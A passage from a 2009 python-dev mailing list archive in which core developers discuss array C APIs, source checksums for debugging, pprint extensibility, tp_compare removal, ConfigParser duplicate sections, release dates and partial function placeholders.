the most frequent operations on array objects, such as appending an 
item, and getting/setting an item?  Failing that, could we at least make 
fromstring() accept an arbitrary read buffer, not just an actual string?

From python at rcn.com  Mon Feb  2 19:02:12 2009
From: python at rcn.com (Raymond Hettinger)
Date: Mon, 2 Feb 2009 10:02:12 -0800
Subject: [Python-Dev] C API for appending to arrays
References: <49872BAC.8040005@avl.com>
Message-ID: <17927FE773C840B6982AD4A20671E8C6@RaymondLaptop1>


[Hrvoje Niksic]
>  The one thing missing from the array 
> module is the ability to directly access array values from C.

Please put a feature request on the bug tracker.


Raymond



From brett at python.org  Mon Feb  2 19:25:04 2009
From: brett at python.org (Brett Cannon)
Date: Mon, 2 Feb 2009 10:25:04 -0800
Subject: [Python-Dev] Should there be a source-code checksum in module
	objects?
In-Reply-To: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
Message-ID: <bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>

On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein <rocky at gnu.org> wrote:
> As I've mentioned, I've been re-examining from ground up the whole
> state of affairs in writing a debugger.
>
> One of the challenges of a debugger or any source-code analysis tool
> is verifying that the source-code that the tool is reporting on
> corresponds to the compiled object under execution. (For debuggers,
> this problem becomes more likely to occur when you are debugging on a
> computer that isn't the same as the computer where the code is
> running.)
>
> Is there a checksum of the source text computed and stored in
> compilation?

No, only the bytecode version used, the mtime of the source the
bytecode is derived from, and the bytecode itself.

> If not, should there be one?

If you are planning to read this directly from the .pyc file then it
is not needed as the mtime timestamp in the .pyc should in general be
enough to detect changes to the source.

-Brett

From rocky at gnu.org  Mon Feb  2 19:48:44 2009
From: rocky at gnu.org (rocky at gnu.org)
Date: Mon, 2 Feb 2009 13:48:44 -0500
Subject: [Python-Dev] Should there be a source-code checksum in module
	objects?
In-Reply-To: <bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>
References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
	<bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>
Message-ID: <18823.16396.670887.39075@panix5.panix.com>

Brett Cannon writes:
 > On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein <rocky at gnu.org> wrote:
 > > As I've mentioned, I've been re-examining from ground up the whole
 > > state of affairs in writing a debugger.
 > >
 > > One of the challenges of a debugger or any source-code analysis tool
 > > is verifying that the source-code that the tool is reporting on
 > > corresponds to the compiled object under execution. (For debuggers,
 > > this problem becomes more likely to occur when you are debugging on a
 > > computer that isn't the same as the computer where the code is
 > > running.)
 > >
 > > Is there a checksum of the source text computed and stored in
 > > compilation?
 > 
 > No, only the bytecode version used, the mtime of the source the
 > bytecode is derived from, and the bytecode itself.
 > 
 > > If not, should there be one?
 > 
 > If you are planning to read this directly from the .pyc file then it
 > is not needed as the mtime timestamp in the .pyc should in general be
 > enough to detect changes to the source.

I'm not sure I understand. I am debugging program P on computer A
which may have (probably did?) do a compile. I am on computer B which
I have the source code. Maybe it is checked out from a version control
system same as on A. Maybe it has bytecodes, maybe not. But the
expectation is that the programmer thinks it matches what is currently
on A that the programmer is debuggging. Can I tell for certain?

Suppose I'm writing a code coverage tool which can accumulate
statistics over many runs. I notice that the date on the Python file
changes, again one way it might is that it might be checked out fresh
and subversion for example will put in a current timestamp. How can
the code coverage tool know that the source hasn't changed even though
the file may have disappeared or maybe was modified several times but
in the end stays the same?

Thanks.

 > 
 > -Brett
 > 

From guido at python.org  Mon Feb  2 20:01:56 2009
From: guido at python.org (Guido van Rossum)
Date: Mon, 2 Feb 2009 11:01:56 -0800
Subject: [Python-Dev] Should there be a source-code checksum in module
	objects?
In-Reply-To: <18823.16396.670887.39075@panix5.panix.com>
References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
	<bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>
	<18823.16396.670887.39075@panix5.panix.com>
Message-ID: <ca471dc20902021101o2048a908ud40311b4b3d45f87@mail.gmail.com>

On Mon, Feb 2, 2009 at 10:48 AM,  <rocky at gnu.org> wrote:
> Brett Cannon writes:
>  > On Mon, Feb 2, 2009 at 00:52, Rocky Bernstein <rocky at gnu.org> wrote:
>  > > As I've mentioned, I've been re-examining from ground up the whole
>  > > state of affairs in writing a debugger.
>  > >
>  > > One of the challenges of a debugger or any source-code analysis tool
>  > > is verifying that the source-code that the tool is reporting on
>  > > corresponds to the compiled object under execution. (For debuggers,
>  > > this problem becomes more likely to occur when you are debugging on a
>  > > computer that isn't the same as the computer where the code is
>  > > running.)
>  > >
>  > > Is there a checksum of the source text computed and stored in
>  > > compilation?
>  >
>  > No, only the bytecode version used, the mtime of the source the
>  > bytecode is derived from, and the bytecode itself.
>  >
>  > > If not, should there be one?
>  >
>  > If you are planning to read this directly from the .pyc file then it
>  > is not needed as the mtime timestamp in the .pyc should in general be
>  > enough to detect changes to the source.
>
> I'm not sure I understand. I am debugging program P on computer A
> which may have (probably did?) do a compile. I am on computer B which
> I have the source code. Maybe it is checked out from a version control
> system same as on A. Maybe it has bytecodes, maybe not. But the
> expectation is that the programmer thinks it matches what is currently
> on A that the programmer is debuggging. Can I tell for certain?
>
> Suppose I'm writing a code coverage tool which can accumulate
> statistics over many runs. I notice that the date on the Python file
> changes, again one way it might is that it might be checked out fresh
> and subversion for example will put in a current timestamp. How can
> the code coverage tool know that the source hasn't changed even though
> the file may have disappeared or maybe was modified several times but
> in the end stays the same?

Unfortunately this use case (remote debugging) was not considered when
the code object was designed and implemented. I don't know how
important the use case is in general, but clearly it is important to
you.

I suggest that you move this discussion to python-ideas to ferret out
a possible implementation and API; or to find out work-arounds.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From barry at python.org  Mon Feb  2 20:03:10 2009
From: barry at python.org (Barry Warsaw)
Date: Mon, 2 Feb 2009 14:03:10 -0500
Subject: [Python-Dev] 3.0.1/3.1.0 summary
In-Reply-To: <4984A9CA.1010307@v.loewis.de>
References: <bbaeab100901291959p67ed3c45je120cbdadec87d51@mail.gmail.com>
	<498295F5.2050607@v.loewis.de>
	<D6FB9D08-F51E-4EB7-9208-0CBE446827BB@python.org>
	<bbaeab100901301056v50e4edb1p77e4bfb681dcf957@mail.gmail.com>
	<592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org>
	<4984A9CA.1010307@v.loewis.de>
Message-ID: <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Jan 31, 2009, at 2:43 PM, Martin v. L?wis wrote:

>> How about Friday February 13?
>
> Fine with me (although next Friday (Feb 6) would work slightly better)

Feb 6 won't work for me.  Would the 20th be better for  you Martin?

Barry

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSYdDbnEjvBPtnXfVAQKfGwQAjow7pXouQ+e+qAOzgvYm7x5atqMeLbUI
iQJ2o83Gdci8jtJZQgd3jRccE2qqST9yJrOkYwA20M1KamktoqSQJJQ6fQcKMSSa
nP1ZCrnNmKrt4NjeKUdB/g626mEpowmk6X5pgrITVUL1g35h+n+bqlgDrJ5HzaqQ
rPiBtt2WCh4=
=Svnl
-----END PGP SIGNATURE-----

From p.f.moore at gmail.com  Mon Feb  2 20:58:51 2009
From: p.f.moore at gmail.com (Paul Moore)
Date: Mon, 2 Feb 2009 19:58:51 +0000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986D29A.1010304@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>
	<4982A51B.5020801@trueblade.com> <4982DEC8.90900@pearwood.info>
	<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>
	<49830FB1.3060306@livinglogic.de>
	<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>
	<4986AFBC.3050701@livinglogic.de> <4986CB69.3020501@gmail.com>
	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
	<4986D29A.1010304@gmail.com>
Message-ID: <79990c6b0902021158k227f13fcw674c5147f15d07fc@mail.gmail.com>

2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
> Paul Moore wrote:
>> 2009/2/2 Nick Coghlan <ncoghlan at gmail.com>:
>>> A trio of patches that:
>>> 1. promoted simplegeneric from pkgutil to functools (with appropriate
>>> documentation and tests)
>>> 2. changed pkgutil to use functools.simplegeneric instead of its current
>>>  internal version
>>> 3. updated pprint to be a generic function (and hence more easily
>>> extensible via the ABC mechanism, while still keeping it's current
>>> special cases as necessary)
>>>
>>> would certainly be an interesting thing to see (with patch 3 being the
>>> poster child for why patch 1 is a good idea).
>>
>> I'll see what I can do. I can't promise much for (3) as I don't
>> personally have a need for it, so my understanding of the use cases is
>> limited at best. But (1) and (2) should be possible.
>>
>> Can I assign the patches to you (for review, at least)?
>
> Sure - I've had plenty to do with functools in the past, and will no
> doubt have plenty to do with it in the future.

http://bugs.python.org/issue5135

A single patch covering (1) and (2).

Paul.

From matthew at matthewwilkes.co.uk  Mon Feb  2 21:16:11 2009
From: matthew at matthewwilkes.co.uk (Matthew Wilkes)
Date: Mon, 2 Feb 2009 20:16:11 +0000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4982259B.4070808@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>	<20090129142021.GA8996@panix.com>
	<4981BBB7.50502@voidspace.org.uk> <4982259B.4070808@gmail.com>
Message-ID: <379F615C-3260-4D10-BC53-7C0FACC7F19C@matthewwilkes.co.uk>


On 29 Jan 2009, at 21:54, Nick Coghlan wrote:

> For the "reiterable" cases like dictionary views (where the object is
> not consumed), an appropriate __str__ or __repr__ should be written).

Indeed, instead of having a __pprint__ why not just allow a __repr__  
to reformat its output?

dict having:
def __repr__(self, pretty=False):
     if pretty:
         return "{\n  a: 1\n  b: 2\n}"
     else:
         return "{a: 1, b: 2}"

That way you can specify your own pretty format, intending it to still  
be a valid __repr__ and pprint can do:

try:
     print(obj.__repr__(pretty=True))
except TypeError:
     print(prettify(repr(obj)))

That way it's opt in, doesn't have a special method, and includes the  
mental prompt "this should eval() to obj"

Matt

From ncoghlan at gmail.com  Mon Feb  2 21:50:43 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Tue, 03 Feb 2009 06:50:43 +1000
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <4986EE88.3030206@palladion.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>		<498272CB.5040503@ronadam.com>
	<gltvj2$fpk$1@ger.gmane.org>		<4982A51B.5020801@trueblade.com>
	<4982DEC8.90900@pearwood.info>		<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>		<49830FB1.3060306@livinglogic.de>		<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>		<4986AFBC.3050701@livinglogic.de>
	<4986CB69.3020501@gmail.com>	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>
	<4986D29A.1010304@gmail.com> <4986EE88.3030206@palladion.com>
Message-ID: <49875CA3.6020805@gmail.com>

Tres Seaver wrote:
> Nick Coghlan wrote:
>> (and don't worry too much about 3 - it will give me an opportunity to
>> road test the functools patch by using it to refactor pprint and check
>> the performance implications)
> 
> /me wonders about the performance-criticality of anything using
> 'pprint'.   Or were you just planning to use it as a means to benchmark
> the 'simplegeneric' stuff?  I would think something with a lot lower
> intrinsic overhead would be a better benchmark target.

Don't read too much into that comment - generics make the most sense in
cases (like pprint) where extensibility is a more important feature than
raw speed. I'm talking about more subjective impressions of performance
as well as things like "if I register a handler for Sequence, is there
any performance advantage in registering direct handlers for the builtin
subclasses?".

Really drastic performance degradations would be on the radar as well -
slowing pprint() down by 10% is unlikely to bother anyone, but slowing
it down by 100% would be a bad thing (not that I think such a
degradation is likely, I'm just trying to give an impression of the
magnitude of change I'll be trying to measure).

Cheers,
Nick.

-- 
Nick Coghlan   |   ncoghlan at gmail.com   |   Brisbane, Australia
---------------------------------------------------------------

From robert.kern at gmail.com  Mon Feb  2 22:08:51 2009
From: robert.kern at gmail.com (Robert Kern)
Date: Mon, 02 Feb 2009 15:08:51 -0600
Subject: [Python-Dev] pprint(iterator)
In-Reply-To: <49875CA3.6020805@gmail.com>
References: <306DE7912FCF48AD9E1F77481B3617BC@RaymondLaptop1>		<498272CB.5040503@ronadam.com>	<gltvj2$fpk$1@ger.gmane.org>		<4982A51B.5020801@trueblade.com>	<4982DEC8.90900@pearwood.info>		<79990c6b0901300402i5d93aa3br57a2bbf5ad57a52b@mail.gmail.com>		<49830FB1.3060306@livinglogic.de>		<79990c6b0901300651m4e27bdd9i7c7b2484ab0353bd@mail.gmail.com>		<4986AFBC.3050701@livinglogic.de>	<4986CB69.3020501@gmail.com>	<79990c6b0902020243h293394bel38055637e9bf425f@mail.gmail.com>	<4986D29A.1010304@gmail.com>
	<4986EE88.3030206@palladion.com> <49875CA3.6020805@gmail.com>
Message-ID: <gm7nd4$dv8$1@ger.gmane.org>

On 2009-02-02 14:50, Nick Coghlan wrote:
> Really drastic performance degradations would be on the radar as well -
> slowing pprint() down by 10% is unlikely to bother anyone, but slowing
> it down by 100% would be a bad thing (not that I think such a
> degradation is likely, I'm just trying to give an impression of the
> magnitude of change I'll be trying to measure).

Using the pretty module I referenced earlier, which basically uses 
simplegeneric's lookup algorithm:

In [11]: %timeit x=pprint.pformat(sys.modules)
10 loops, best of 3: 27.5 ms per loop

In [12]: %timeit x=pretty.pretty(sys.modules)
10 loops, best of 3: 39.9 ms per loop

In [13]: len(sys.modules)
Out[13]: 517


The comparison is somewhat dodgy, though. pretty is not so much a refactoring of 
pprint as a reimplementation, so the time differences may not be due to the 
dispatch.

-- 
Robert Kern

"I have come to believe that the whole world is an enigma, a harmless enigma
  that is made terrible by our own mad attempt to interpret it as though it had
  an underlying truth."
   -- Umberto Eco


From martin at v.loewis.de  Mon Feb  2 22:48:05 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 02 Feb 2009 22:48:05 +0100
Subject: [Python-Dev] 3.0.1/3.1.0 summary
In-Reply-To: <407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org>
References: <bbaeab100901291959p67ed3c45je120cbdadec87d51@mail.gmail.com>
	<498295F5.2050607@v.loewis.de>
	<D6FB9D08-F51E-4EB7-9208-0CBE446827BB@python.org>
	<bbaeab100901301056v50e4edb1p77e4bfb681dcf957@mail.gmail.com>
	<592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org>
	<4984A9CA.1010307@v.loewis.de>
	<407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org>
Message-ID: <49876A15.6010400@v.loewis.de>

>> Fine with me (although next Friday (Feb 6) would work slightly better)
> 
> Feb 6 won't work for me.  Would the 20th be better for  you Martin?

No, they are both busy days - Feb 13 is then slightly better than Feb
20. I have about an hour in the morning (around 8:00 UTC), and then
after 15:00 UTC - so I should be done in my evening, if that's good
enough.

Regards,
Martin

From barry at python.org  Mon Feb  2 22:50:27 2009
From: barry at python.org (Barry Warsaw)
Date: Mon, 2 Feb 2009 16:50:27 -0500
Subject: [Python-Dev] 3.0.1/3.1.0 summary
In-Reply-To: <49876A15.6010400@v.loewis.de>
References: <bbaeab100901291959p67ed3c45je120cbdadec87d51@mail.gmail.com>
	<498295F5.2050607@v.loewis.de>
	<D6FB9D08-F51E-4EB7-9208-0CBE446827BB@python.org>
	<bbaeab100901301056v50e4edb1p77e4bfb681dcf957@mail.gmail.com>
	<592904F8-89F5-4AC7-B3BF-0C51D3B474A6@python.org>
	<4984A9CA.1010307@v.loewis.de>
	<407AA0EE-FDB1-466A-AE21-933A38DE3DFD@python.org>
	<49876A15.6010400@v.loewis.de>
Message-ID: <B4977BD2-ACE2-46CE-860C-6E553EF1EE59@python.org>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On Feb 2, 2009, at 4:48 PM, Martin v. L?wis wrote:

>>> Fine with me (although next Friday (Feb 6) would work slightly  
>>> better)
>>
>> Feb 6 won't work for me.  Would the 20th be better for  you Martin?
>
> No, they are both busy days - Feb 13 is then slightly better than Feb
> 20. I have about an hour in the morning (around 8:00 UTC), and then
> after 15:00 UTC - so I should be done in my evening, if that's good
> enough.

Yep, that will work.
B

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (Darwin)

iQCVAwUBSYdqo3EjvBPtnXfVAQLe9AQAh5e7P+7tO0Ibd8f/2Yvj7xfoYoQk0Z5n
V/nMpN+UbSI55w5ZvPrjL1a0zFknTaqBxeSTbhdbIeNXVAUEc8oWauajMvJjCH/r
WXZjAze9WW6BqW3UJCmMmmMtRc6biKyv++avhuu/ursiGdaV9JMYk/q0R970ny2V
s+FF4gZKGpo=
=+MjC
-----END PGP SIGNATURE-----

From martin at v.loewis.de  Mon Feb  2 22:57:44 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 02 Feb 2009 22:57:44 +0100
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <4986CCAD.1020904@gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>	<gm65a3$c1$1@ger.gmane.org>
	<4986CCAD.1020904@gmail.com>
Message-ID: <49876C58.1050801@v.loewis.de>

> I'm wondering if Mark should add the exception he recently removed back
> in as a Deprecation Warning when tp_compare is defined, but
> tp_richcompare is not. Such a warning should also be present when
> running with -3 in 2.7 (assuming it isn't already there).
> 
> Otherwise we're going to get more questions like Campbell's wondering if
> it is intentional that tp_compare is no longer getting called in the 3.x
> series (the warnings would both make it explicit and give guidance on
> what to do about it).

Mark removed the cmpfunc typedef; that should cause compilation in many
extension modules (except those which don't actually cast to cmpfunc,
but get the type right in the first place).

Also, if you then investigate why it doesn't get called, you'll notice
quickly that the slot doesn't even have the right name anymore. So
Campbell's surprise would be gone - he wouldn't have been able to still
invoke tp_compare through the cmp() builtin.

Regards,
Martin

From martin at v.loewis.de  Mon Feb  2 23:01:01 2009
From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=)
Date: Mon, 02 Feb 2009 23:01:01 +0100
Subject: [Python-Dev] python 3.0, tp_compare not used for == test?
In-Reply-To: <5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com>
References: <7c1ab96d0902012112t1e3854dbye1483c6577086a93@mail.gmail.com>	<gm65a3$c1$1@ger.gmane.org>
	<4986CCAD.1020904@gmail.com>	<5c6f2a5d0902020315x3d7dcb5bk49e5226c86ccb246@mail.gmail.com>	<4986DB2B.5040400@gmail.com>
	<5c6f2a5d0902020410v70a7e5e8tab1b233c379c48ec@mail.gmail.com>
Message-ID: <49876D1D.5060604@v.loewis.de>

> Understood.  My worry was that we'd get a lot of false positives---
> i.e., warnings about pieces of Python 2.7 that don't need to change.
> But I guess that's okay.

I don't personally use the -3 flag, but I would expect that these
would indeed be annoying. We could arrange to exempt them, by
introducing a "Core" type flag, to be included in the default type
flags when the core is compiled (and not even declared otherwise).

Regards,
Martin

From martin at v.loewis.de  Mon Feb  2 23:07:44 2009
From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=)
Date: Mon, 02 Feb 2009 23:07:44 +0100
Subject: [Python-Dev] Removing tp_compare?
In-Reply-To: <0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com>
References: <5c6f2a5d0901311307t42029621s3d05a0f31dd26d9d@mail.gmail.com>	<4984C276.70100@v.loewis.de>	<5c6f2a5d0902010422i3a0a0665o69a82d3b8ce4f5ed@mail.gmail.com>	<4985E40E.2000903@v.loewis.de>	<5c6f2a5d0902011233s42377834vd93fefefa5ba2e40@mail.gmail.com>
	<0B721E6523DFBE4682C8449689421B8160173A0358@skis-mail.esri-sgroup.com>
Message-ID: <49876EB0.3080004@v.loewis.de>

> Don't you rememeber the PC:s in the late 1980th? It was based on
> Intel's 80286-processor, and Microsoft's C compiler supported
> three or four different memory models, called things like "TINY",
> "SMALL", "LARGE", and "HUGE". Most of these memory models had
> different sized data and function pointers.

I don't think this is factually correct:
- tiny, small: code and data each 16 bit
- large, huge: code and data each 32 bit
- medium: code 32 bit, data 16 bit
- compact: code 16 bit, data 32 bit

So most of the memory models (66%) have same-sized data and
function pointers, only few of them (33%) have them
differently-sized.

In any case, I don't think Python supports 8086 segmented mode
in any reasonable way today.

Regards,
Martin

From tpollari at gmail.com  Mon Feb  2 22:45:13 2009
From: tpollari at gmail.com (Ted Pollari)
Date: Mon, 2 Feb 2009 13:45:13 -0800
Subject: [Python-Dev] Financial aid for PyCon 2009 is now available
Message-ID: <D73C1625-C604-4EB7-90FB-405F6973B4E0@gmail.com>

I'm happy to announce that the Python Software Foundation has  
allocated funds to help people attend PyCon 2009!

If you would like to come to PyCon but can't afford it, the PSF may be  
able to help you pay for registration, lodging/hotel costs and  
transportation (flight etc.). Please see http://us.pycon.org/2009/registration/financial-aid/ 
  for full details, or email pycon-aid at python.org with questions.





From greg.ewing at canterbury.ac.nz  Tue Feb  3 05:18:06 2009
From: greg.ewing at canterbury.ac.nz (Greg Ewing)
Date: Tue, 03 Feb 2009 17:18:06 +1300
Subject: [Python-Dev] Should there be a source-code checksum in module
 objects?
In-Reply-To: <18823.16396.670887.39075@panix5.panix.com>
References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
	<bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>
	<18823.16396.670887.39075@panix5.panix.com>
Message-ID: <4987C57E.7030708@canterbury.ac.nz>

rocky at gnu.org wrote:
> But the
> expectation is that the programmer thinks it matches what is currently
> on A that the programmer is debuggging. Can I tell for certain?

You can always find out by compiling the source and
comparing the resulting bytecode with what is currently
on A. Not that this is necessarily a *convenient* way...

-- 
Greg

From ygingras at ygingras.net  Tue Feb  3 07:34:13 2009
From: ygingras at ygingras.net (Yannick Gingras)
Date: Tue, 3 Feb 2009 01:34:13 -0500
Subject: [Python-Dev] [patch] Duplicate sections detection in ConfigParser
Message-ID: <200902030134.13646.ygingras@ygingras.net>


Greetings Pythonistas, 
  ConfigParser as you most certainly know is a .ini parser included in
the Python standard library.  It's documentation mentions a
DuplicateSectionError but I was puzzled after hunting a bug in our
application that this error was not raised when parsing a file with
duplicate sections.  After looking at the code, it turns out that
DuplicateSectionError is only raised when using the builder interface;
the parser interface will never throw it.

The attached patch is compatible with both the 2.x and the 3.x
branches; it adds a `unique_sects` parameter to the constructor of
RawConfigParser and a test in the parser loop that raises
DuplicateSectionError if a section is seen more then once and that
unique_sects is True.

This is just a proof of concept and I'd like your opinion on it before
working on the final version.  I see two main issues regarding
backward compatibility and uniformity.  For uniformity `unique_sects`
should also apply to the builder interface.  However, if it does, it
should default to True since it was the default behavior for the
builder interface to raise on duplicate sections.  On the other hand,
the default behavior for the parser interface was to ignore duplicate
sections so making `unique_sects` default to True might break existing
code.

To summarize, I ask you all:

* Is the lack of duplicates detection in the parser a problem worth
  addressing?
* Should `unique_sects` control the builder interface?
* Should it default to True?

Best regards, 

-- 
Yannick Gingras
http://ygingras.net
-------------- next part --------------
A non-text attachment was scrubbed...
Name: no-dups-configparser.diff
Type: text/x-patch
Size: 1248 bytes
Desc: not available
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090203/cf50f14f/attachment.bin>
-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 197 bytes
Desc: This is a digitally signed message part.
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090203/cf50f14f/attachment.pgp>

From hrvoje.niksic at avl.com  Tue Feb  3 10:56:18 2009
From: hrvoje.niksic at avl.com (Hrvoje Niksic)
Date: Tue, 03 Feb 2009 10:56:18 +0100
Subject: [Python-Dev] C API for appending to arrays
In-Reply-To: <21912812.863616.1233597780010.JavaMail.xicrypt@atgrzls001>
References: <49872BAC.8040005@avl.com>
	<21912812.863616.1233597780010.JavaMail.xicrypt@atgrzls001>
Message-ID: <498814C2.3060804@avl.com>

Raymond Hettinger wrote:
> [Hrvoje Niksic]
>>  The one thing missing from the array 
>> module is the ability to directly access array values from C.
> 
> Please put a feature request on the bug tracker.

Done, http://bugs.python.org/issue5141

From rocky at gnu.org  Tue Feb  3 10:58:00 2009
From: rocky at gnu.org (rocky at gnu.org)
Date: Tue, 3 Feb 2009 04:58:00 -0500
Subject: [Python-Dev] Should there be a source-code checksum in module
	objects?
In-Reply-To: <ca471dc20902021101o2048a908ud40311b4b3d45f87@mail.gmail.com>
References: <6cd6de210902020052u7702e077sba6e832c6d43849f@mail.gmail.com>
	<bbaeab100902021025n74a17f93rf8474617b804fcb3@mail.gmail.com>
	<18823.16396.670887.39075@panix5.panix.com>
	<ca471dc20902021101o2048a908ud40311b4b3d45f87@mail.gmail.com>
Message-ID: <18824.5416.368208.120001@panix5.panix.com>

Guido van Rossum writes:
 > I suggest that you move this discussion to python-ideas to ferret out
 > a possible implementation and API; or to find out work-arounds.

Okay. Done. 

From ben at redfrontdoor.org  Tue Feb  3 14:44:53 2009
From: ben at redfrontdoor.org (Ben North)
Date: Tue, 3 Feb 2009 13:44:53 +0000
Subject: [Python-Dev] Partial function application 'from the right'
Message-ID: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com>

Hi,

Thanks for the further responses.  Again, I'll try to summarise:

Scott David Daniels pointed out an awkward interaction when chaining
partial applications, such that it could become very unclear what was
going to happen when the final function is called:

> If you have:
>     def button(root, position, action=None, text='*', color=None):
>         ...
>     ...
>     blue_button = partial(button, my_root, color=(0,0,1))
>
> Should partial_right(blue_button, 'red') change the color or the text?

Calvin Spealman mentioned a previous patch of his which took the 'hole'
approach, i.e.:

> [...] my partial.skip patch, which allows the following usage:
>
>    split_one = partial(str.split, partial.skip, 1)

This would solve my original problems, and, continuing Scott's example,

   def on_clicked(...): ...

   _ = partial.skip
   clickable_blue_button = partial(blue_button, _, on_clicked)

has a clear enough meaning I think:

   clickable_blue_button('top-left corner')
   = blue_button('top-left corner', on_clicked)
   = button(my_root, 'top-left corner', on_clicked, color=(0,0,1))

Calvin's idea/patch sounds good to me, then.  Others also liked it.
Could it be re-considered, instead of the partial_right idea?

Ben.

From aahz at pythoncraft.com  Tue Feb  3 17:44:25 2009
From: aahz at pythoncraft.com (Aahz)
Date: Tue, 3 Feb 2009 08:44:25 -0800
Subject: [Python-Dev] [patch] Duplicate sections detection
	in	ConfigParser
In-Reply-To: <200902030134.13646.ygingras@ygingras.net>
References: <200902030134.13646.ygingras@ygingras.net>
Message-ID: <20090203164425.GA14050@panix.com>

On Tue, Feb 03, 2009, Yannick Gingras wrote:
>
> The attached patch is compatible with both the 2.x and the 3.x
> branches; it adds a `unique_sects` parameter to the constructor of
> RawConfigParser and a test in the parser loop that raises
> DuplicateSectionError if a section is seen more then once and that
> unique_sects is True.

Please go ahead and post the patch to bugs.python.org; it can always be
revised later and this ensures that we have a record.
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

Weinberg's Second Law: If builders built buildings the way programmers wrote 
programs, then the first woodpecker that came along would destroy civilization.

From draghuram at gmail.com  Tue Feb  3 18:03:59 2009
From: draghuram at gmail.com (Raghuram Devarakonda)
Date: Tue, 3 Feb 2009 12:03:59 -0500
Subject: [Python-Dev] [patch] Duplicate sections detection in
	ConfigParser
In-Reply-To: <20090203164425.GA14050@panix.com>
References: <200902030134.13646.ygingras@ygingras.net>
	<20090203164425.GA14050@panix.com>
Message-ID: <2c51ecee0902030903v19d998e7t96c780e4efa7f939@mail.gmail.com>

>> The attached patch is compatible with both the 2.x and the 3.x
>> branches; it adds a `unique_sects` parameter to the constructor of
>> RawConfigParser and a test in the parser loop that raises
>> DuplicateSectionError if a section is seen more then once and that
>> unique_sects is True.

http://bugs.python.org/issue2204 refers to the same issue. Perhaps,
you can upload your patch there in addition to adding any comments.

Thanks,
Raghu

From collinw at gmail.com  Tue Feb  3 19:11:47 2009
From: collinw at gmail.com (Collin Winter)
Date: Tue, 3 Feb 2009 10:11:47 -0800
Subject: [Python-Dev] Partial function application 'from the right'
In-Reply-To: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com>
References: <5169ff10902030544p113e042fjbc747341db8eb45e@mail.gmail.com>
Message-ID: <43aa6ff70902031011i3f4fe8c5q41749da17bdd01a4@mail.gmail.com>

On Tue, Feb 3, 2009 at 5:44 AM, Ben North <ben at redfrontdoor.org> wrote:
> Hi,
>
> Thanks for the further responses.  Again, I'll try to summarise:
>
> Scott David Daniels pointed out an awkward interaction when chaining
> partial applications, such that it could become very unclear what was
> going to happen when the final function is called:
>
>> If you have:
>>     def button(root, position, action=None, text='*', color=None):
>>         ...
>>     ...
>>     blue_button = partial(button, my_root, color=(0,0,1))
>>
>> Should partial_right(blue_button, 'red') change the color or the text?
>
> Calvin Spealman mentioned a previous patch of his which took the 'hole'
> approach, i.e.:
>
>> [...] my partial.skip patch, which allows the following usage:
>>
>>    split_one = partial(str.split, partial.skip, 1)
>
> This would solve my original problems, and, continuing Scott's example,
>
>   def on_clicked(...): ...
>
>   _ = partial.skip
>   clickable_blue_button = partial(blue_button, _, on_clicked)
>
> has a clear enough meaning I think:
>
>   clickable_blue_button('top-left corner')
>   = blue_button('top-left corner', on_clicked)
>   = button(my_root, 'top-left corner', on_clicked, color=(0,0,1))
>
> Calvin's idea/patch sounds good to me, then.  Others also liked it.
